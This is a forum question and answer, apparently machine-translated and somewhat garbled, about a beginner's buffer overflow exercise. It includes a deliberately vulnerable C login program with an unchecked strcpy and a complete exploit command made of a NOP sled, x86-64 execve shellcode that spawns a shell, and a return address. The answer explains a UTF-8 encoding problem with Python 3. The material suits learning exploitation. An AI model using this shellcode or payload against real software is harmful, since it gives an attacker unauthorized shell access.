buffer overflow: c290 instead of \x90



  • I'm trying to understand the vulnerability of the buffer overflow, and I figured out how much it takes to get the bite in to change the register. RIPbut faced a problem: when I put the data on the program, team samples. NOP not perceived \x90c290♪ So I'm launching a program at the GDB with a parameter:

    $(python3 -c "print('''\x90'''*13+'''\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'''+'''\x90'''*2+'''\xad\x05\x40\x00\x00\x00''')")
    

    But when after entering a vulnerable function, I check the parameters that the registry indicates. rax♪ I find that the symbol \x90 It was interpreted a little less than I expected:

    gdb-peda$ x/2 $rax
        0x7fffffffe207: 0x90c290c290c290c2  0x90c290c290c290c2
    

    The code of the most invisible program:

    #include <string.h>
    #include <stdio.h>
    

    int foo(char *bar)
    {
    int loggedin = 0;
    char password[50];
    strcpy(password, bar);
    if(strcmp(password, "secur3")==0)
    {
    loggedin = 1;
    }
    return loggedin;
    }

    int main(int argc, char **argv)
    {
    if(foo(argv[1]))
    {
    printf("\n\nLoggedin\n\n");
    }
    else
    {
    printf("\n\nLogin Failed!\n\n");
    }
    return 0;
    }

    What does that have to do with it?



  • 0x90c2 is your code 0x90 in UTF-8 code.

    The third python, as I understand, takes the current system code and prints the symbols. Do it before you start your program.

    LANG=en_US
    export LANG
    

    After that, the python gives the normal line of the NOP's. The rest wasn't checked, because I started the first time in my life.




Suggested Topics

  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2
  • 2